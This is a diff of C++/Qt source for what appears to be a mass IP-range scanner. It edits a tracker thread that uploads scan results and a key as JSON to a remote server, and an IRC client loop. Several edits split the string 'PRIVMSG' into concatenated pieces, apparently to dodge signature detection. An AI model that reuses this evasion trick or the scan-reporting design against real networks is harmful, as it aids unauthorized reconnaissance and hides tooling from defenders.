ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "][FAIL] " + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>"); ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "]" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
if(stt->isRunning() == false) if(stt->isRunning() == false)
{ {

View File

@ -410,10 +410,10 @@ void *_timer()
strcat(dbuffer, "d)"); strcat(dbuffer, "d)");
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionIPS(QString(timeLeft)); stt->doEmitionIPS(QString(timeLeft));
stt->doEmitionOffline(QString::number(offlines)); stt->doEmitionOffline(QString::number(offlines));
#pragma endregion #pragma endregion
ZeroMemory(timeLeft, sizeof(timeLeft)); ZeroMemory(timeLeft, sizeof(timeLeft));
ZeroMemory(dbuffer, sizeof(dbuffer)); ZeroMemory(dbuffer, sizeof(dbuffer));
Sleep(1000); Sleep(1000);
@ -438,102 +438,120 @@ void *_tracker()
char ndbScriptT[64] = {0}; char ndbScriptT[64] = {0};
char ndbScript[64] = {0}; char ndbScript[64] = {0};
sockaddr_in sockAddr; sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(atoi(trcSrvPortLine)); sockAddr.sin_port = htons(atoi(trcSrvPortLine));
strcpy(msg, "GET /"); strcpy(msg, "GET /");
strcat(msg, trcScr); strcat(msg, trcScr);
strcat(msg, " HTTP/1.1\r\nHost: "); strcat(msg, " HTTP/1.1\r\nHost: ");
strcat(msg, trcSrv); strcat(msg, trcSrv);
strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n");
HOSTENT *host; HOSTENT *host;
#if defined(WIN32) #if defined(WIN32)
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv);
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else #else
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv);
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif #endif
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1)
if(test == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
test = send(sock, msg, strlen(msg), 0);
if(test == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
ZeroMemory(rBuffT, sizeof(rBuffT));
char rBuff[512] = {0};
test = recv(sock, rBuff, sizeof(rBuff), 0);
strcpy(rBuffT, rBuff);
while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0)
{
if(strlen(rBuffT) > 200000)
{ {
stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); CSSOCKET(sock);
SaveErrorLog("NS-Track", msg, rBuffT); #pragma region QTGUI_Area
break; stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
}; };
strcat(rBuffT, rBuff);
};
if(test == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
char *t1; if(send(sock, msg, strlen(msg), 0) == -1)
char *t2;
if(strstr(rBuffT, "http://") != NULL)
{
t1 = strstr(rBuffT, "http://");
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
{ {
t2 = strstr((char*)(t1 + strlen("http://")), "/"); CSSOCKET(sock);
int ln = t2 - t1 - strlen("http://");
if(ln > 64)
{
CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
ZeroMemory(rBuffT, sizeof(rBuffT));
char rBuff[512] = {0};
int test = recv(sock, rBuff, sizeof(rBuff), 0);
strcpy(rBuffT, rBuff);
while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0)
{
if(strlen(rBuffT) > 200000)
{
stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
SaveErrorLog("NS-Track", msg, rBuffT); SaveErrorLog("NS-Track", msg, rBuffT);
#pragma endregion break;
continue; };
} strcat(rBuffT, rBuff);
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); };
if(strlen(t2) > 64) if(test == -1)
{ {
CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion #pragma endregion
if(strstr(t2, "\r\n") != NULL) continue;
{ };
char *t3 = strstr(t2, "\r\n");
int y = (int)(t3 - t2);
if(y > 64) char *t1;
char *t2;
if(strstr(rBuffT, "http://") != NULL)
{
t1 = strstr(rBuffT, "http://");
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
{
t2 = strstr((char*)(t1 + strlen("http://")), "/");
int ln = t2 - t1 - strlen("http://");
if(ln > 64)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
SaveErrorLog("NS-Track", msg, rBuffT);
#pragma endregion
continue;
}
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
if(strlen(t2) > 64)
{
#pragma region QTGUI_Area
stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!");
#pragma endregion
if(strstr(t2, "\r\n") != NULL)
{
char *t3 = strstr(t2, "\r\n");
int y = (int)(t3 - t2);
if(y > 64)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
#pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT);
continue;
}
else
{
strncpy(ndbScriptT, t2, y);
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop...");
#pragma endregion
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) );
};
}
else
{ {
CSSOCKET(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
@ -541,62 +559,46 @@ void *_tracker()
#pragma endregion #pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT); SaveErrorLog("NS-Track", msg, rBuffT);
continue; continue;
}
else
{
strncpy(ndbScriptT, t2, y);
CSSOCKET(sock);;
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop...");
#pragma endregion
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) );
}; };
} }
else else
{ {
CSSOCKET(sock); strcpy(ndbScriptT, t2);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop...");
#pragma endregion #pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT); CSSOCKET(sock);
continue; strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 );
}; };
} }
else else
{ {
strcpy(ndbScriptT, t2);
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop...");
#pragma endregion
CSSOCKET(sock); CSSOCKET(sock);
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 );
};
}
else
{
CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!");
#pragma endregion #pragma endregion
continue;
};
ZeroMemory(rBuffT, sizeof(rBuffT));
while(true)
{
if(globalScanFlag == false && jsonArr->size() == 0) break;
if(!trackerOK) {
Sleep(1000);
continue; continue;
}; };
trackAlreadyGoing = true;
if(jsonArr->size() > 0)
{
QJsonObject jsonKey;
if(jsonArr == NULL) jsonArr = new QJsonArray();
QJsonObject jsonMeta; ZeroMemory(rBuffT, sizeof(rBuffT));
CSSOCKET(sock);
while(true)
{
if(globalScanFlag == false && jsonArr->size() == 0) break;
if(!trackerOK) {
Sleep(1000);
continue;
};
trackAlreadyGoing = true;
if(jsonArr->size() > 0)
{
QJsonObject jsonKey;
if(jsonArr == NULL) jsonArr = new QJsonArray();
QJsonObject jsonMeta;
if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); //
else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode
else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); //
@ -613,174 +615,183 @@ void *_tracker()
jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) );
jsonMeta.insert("version", QJsonValue(QString(gVER)) ); jsonMeta.insert("version", QJsonValue(QString(gVER)) );
jsonArr->push_front(QJsonValue(jsonMeta) ); jsonArr->push_front(QJsonValue(jsonMeta) );
memset(trcPersKey + 32, '\0', 1); memset(trcPersKey + 32, '\0', 1);
jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); jsonKey.insert("key", QJsonValue(QString(trcPersKey)) );
jsonArr->push_front(jsonKey); jsonArr->push_front(jsonKey);
QJsonDocument js; QJsonDocument js;
js.setArray(*jsonArr); js.setArray(*jsonArr);
QByteArray r = js.toJson(); QByteArray r = js.toJson();
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(atoi(trcSrvPortLine)); sockAddr.sin_port = htons(atoi(trcSrvPortLine));
if(msg != NULL) if(msg != NULL)
{ {
delete []msg; delete []msg;
msg = 0; msg = 0;
}; };
msg = new char[r.size() + 1024]; msg = new char[r.size() + 1024];
ZeroMemory(msg, sizeof(msg)); ZeroMemory(msg, sizeof(msg));
strcpy(msg, "POST /"); strcpy(msg, "POST /");
strcat(msg, ndbScript); strcat(msg, ndbScript);
strcat(msg, " HTTP/1.1\r\nHost: "); strcat(msg, " HTTP/1.1\r\nHost: ");
strcat(msg, ndbServer); strcat(msg, ndbServer);
strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: ");
strcat(msg, std::to_string((long double)r.size()).c_str()); strcat(msg, std::to_string((long double)r.size()).c_str());
strcat(msg, "\r\nConnection: close\r\n\r\n"); strcat(msg, "\r\nConnection: close\r\n\r\n");
strcat(msg, r.data()); strcat(msg, r.data());
delete jsonArr; delete jsonArr;
jsonArr = new QJsonArray(); jsonArr = new QJsonArray();
#if defined(WIN32) #if defined(WIN32)
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer);
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else #else
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer);
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif #endif
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(gDebugMode) if(gDebugMode)
{
stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer));
};
test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(test == -1)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Sending!");
stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]");
stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]");
};
test = send(sock, msg, strlen(msg), 0);
if(test == -1)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
SaveErrorLog("NS-Track", msg, "");
continue;
};
ZeroMemory(rBuffT, sizeof(rBuffT));
char msgR[32] = {0};
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Receiving...");
};
test = recv(sock, rBuff, 512, 0);
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
};
strncpy(msgR, rBuff, 32);
strcpy(rBuffT, rBuff);
while(test > 0)
{
if(test <= 0) break;
if(strlen(rBuffT) > 200000)
{ {
stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer));
SaveErrorLog("NS-Track", msg, rBuffT);
break;
}; };
strcat(rBuffT, rBuff);
if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
continue;
};
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Sending!");
stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]");
stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]");
};
if(send(sock, msg, strlen(msg), 0) == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
SaveErrorLog("NS-Track", msg, "");
continue;
};
ZeroMemory(rBuffT, sizeof(rBuffT));
char msgR[32] = {0};
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Receiving...");
};
test = recv(sock, rBuff, 512, 0); test = recv(sock, rBuff, 512, 0);
if(gDebugMode) if(gDebugMode)
{ {
stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
}; };
};
if(test == -1)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
SaveErrorLog("NS-Track", msg, "");
continue;
};
if(strstr(rBuffT, "201 Created") != NULL)
{
#pragma region QTGUI_Area
if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!");
stt->doEmitionDataSaved(true);
Sleep(1000);
stt->doEmitionDataSaved(false);
#pragma endregion
}
else if(strstr(rBuffT, "400 Bad Request") != NULL)
{
#pragma region QTGUI_Area
QString errorDef = GetNSErrorDefinition(rBuffT, "notify");
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]");
#pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT);
}
else
{
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
SaveErrorLog("NS-Track", msg, rBuffT);
};
ZeroMemory(msgR, sizeof(msgR)); strncpy(msgR, rBuff, 32);
ZeroMemory(rBuffT, sizeof(rBuffT)); strcpy(rBuffT, rBuff);
ZeroMemory(msg, sizeof(msg)); while(test > 0)
if(msg != NULL) {
{ if(test <= 0) break;
delete []msg;
msg = 0;
};
CSSOCKET(sock); if(strlen(rBuffT) > 200000)
{
stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
SaveErrorLog("NS-Track", msg, rBuffT);
break;
};
strcat(rBuffT, rBuff);
test = recv(sock, rBuff, 512, 0);
if(gDebugMode)
{
stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
};
};
if(test == -1)
{
CSSOCKET(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + ".");
#pragma endregion
SaveErrorLog("NS-Track", msg, "");
continue;
};
if(strstr(rBuffT, "201 Created") != NULL)
{
#pragma region QTGUI_Area
if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!");
stt->doEmitionDataSaved(true);
Sleep(1000);
stt->doEmitionDataSaved(false);
#pragma endregion
}
else if(strstr(rBuffT, "400 Bad Request") != NULL)
{
#pragma region QTGUI_Area
QString errorDef = GetNSErrorDefinition(rBuffT, "notify");
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]");
#pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT);
}
else
{
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
SaveErrorLog("NS-Track", msg, rBuffT);
};
ZeroMemory(msgR, sizeof(msgR));
ZeroMemory(rBuffT, sizeof(rBuffT));
ZeroMemory(msg, sizeof(msg));
if(msg != NULL)
{
delete []msg;
msg = 0;
};
CSSOCKET(sock);
};
Sleep(10000);
}; };
Sleep(10000); }
else
{
CSSOCKET(sock);
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
SaveErrorLog("NS-Track", msg, rBuffT);
}; };
}
else
{
CSSOCKET(sock); CSSOCKET(sock);
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
SaveErrorLog("NS-Track", msg, rBuffT);
}; };
trackAlreadyGoing = false;
};
trackAlreadyGoing = false;
}; };
}; };
unsigned long int numOfIps(int ipsstart[], int ipsend[]) unsigned long int numOfIps(int ipsstart[], int ipsend[])
{ {
gTargets += 256*256*256*(ipsend[0] - ipsstart[0]); gTargets += 256*256*256*(ipsend[0] - ipsstart[0]);
gTargets += 256 * 256 * (ipsend[1] - ipsstart[1]); gTargets += 256*256*(ipsend[1] - ipsstart[1]);
gTargets += 256 * (ipsend[2] - ipsstart[2]); gTargets += 256*(ipsend[2] - ipsstart[2]);
gTargets += (ipsend[3] - ipsstart[3]); gTargets += (ipsend[3] - ipsstart[3]);
gTargetsOverall = gTargets - 1; gTargetsOverall = gTargets - 1;
return gTargets; return gTargets;
@ -1585,11 +1596,6 @@ int fInit(int InitMode, char *gR)
}; };
targets = numOfIps(ipsstart, ipsend); targets = numOfIps(ipsstart, ipsend);
}
else if (InitMode == -1)
{
//targets = numOfIpsFL();
///DUMMY///
}; };
}; };
void FileLoader(char *str) void FileLoader(char *str)
@ -2251,7 +2257,6 @@ int startScan(char* args)
int argc = 0; int argc = 0;
char *argv[512] = {0}; char *argv[512] = {0};
char *tStr = strtok(args, "|"); char *tStr = strtok(args, "|");
while(tStr != NULL) while(tStr != NULL)
{ {

View File

@ -344,8 +344,6 @@ void IRCLoop()
lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(lSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int));
if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "..."); if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "...");
if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR)
{ {
@ -389,6 +387,10 @@ void IRCLoop()
char recvBuffG[MAX_IRC_RECV_LEN] = {0}; char recvBuffG[MAX_IRC_RECV_LEN] = {0};
char serverRealName[256] = {0}; char serverRealName[256] = {0};
bool nameLocked = false; bool nameLocked = false;
char pTemp[32] = {0};
strcpy(pTemp, "PRIV");
strcat(pTemp, "MSG ");
while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect) while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect)
{ {
if(strlen(recvBuffG) > 0) if(strlen(recvBuffG) > 0)
@ -413,11 +415,16 @@ void IRCLoop()
Gtemp = strstr(Gtemp + 1, "\n"); Gtemp = strstr(Gtemp + 1, "\n");
char privTemp[64] = {0}; char privTemp[64] = {0};
strcpy(privTemp, "PRIVMSG #");
strcpy(privTemp, "PRIV");
strcat(privTemp, "MSG #");
strcat(privTemp, IRC_CHAN); strcat(privTemp, IRC_CHAN);
strcat(privTemp, " :"); strcat(privTemp, " :");
if(strstr(comStr, " PRIVMSG ") == NULL) char pTemp[32] = {0};
strcpy(pTemp, " PRIV");
strcat(pTemp, "MSG ");
if(strstr(comStr, pTemp) == NULL)
{ {
char topicTemp[64] = {0}; char topicTemp[64] = {0};
strcpy(topicTemp, "TOPIC #"); strcpy(topicTemp, "TOPIC #");
@ -637,7 +644,8 @@ void IRCLoop()
OnlineMsgSentFlag = true; OnlineMsgSentFlag = true;
char temp[64] = {0}; char temp[64] = {0};
strcpy(temp, "PRIVMSG #"); strcpy(temp, "PRIV");
strcat(temp, "MSG #");
strcat(temp, IRC_CHAN); strcat(temp, IRC_CHAN);
strcat(temp, " :My version: v3_"); strcat(temp, " :My version: v3_");
strcat(temp, gVER); strcat(temp, gVER);
@ -669,7 +677,8 @@ void IRCLoop()
else if(strstri(comStr, privTemp) != NULL) else if(strstri(comStr, privTemp) != NULL)
{ {
char channelName[64] = {0}; char channelName[64] = {0};
strcpy(channelName, "PRIVMSG #"); strcpy(channelName, "PRIV");
strcat(channelName, "MSG #");
strcat(channelName, IRC_CHAN); strcat(channelName, IRC_CHAN);
strcat(channelName, " :"); strcat(channelName, " :");
@ -729,7 +738,7 @@ void IRCLoop()
ZeroMemory(senderNick, sizeof(senderNick)); ZeroMemory(senderNick, sizeof(senderNick));
} }
else if(strstri( comStr, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data() ) != NULL) else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL)
{ {
char *tprv = comStr; char *tprv = comStr;
char *temp = NULL; char *temp = NULL;
@ -744,7 +753,7 @@ void IRCLoop()
int nickLen = temp2 - temp; int nickLen = temp2 - temp;
if(nickLen <= 32) if(nickLen <= 32)
{ {
char *tempD = strstri(tprv, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data()); char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data());
int nsz = QString(ircNick).size() + 10; int nsz = QString(ircNick).size() + 10;
if(tempD == NULL) break; if(tempD == NULL) break;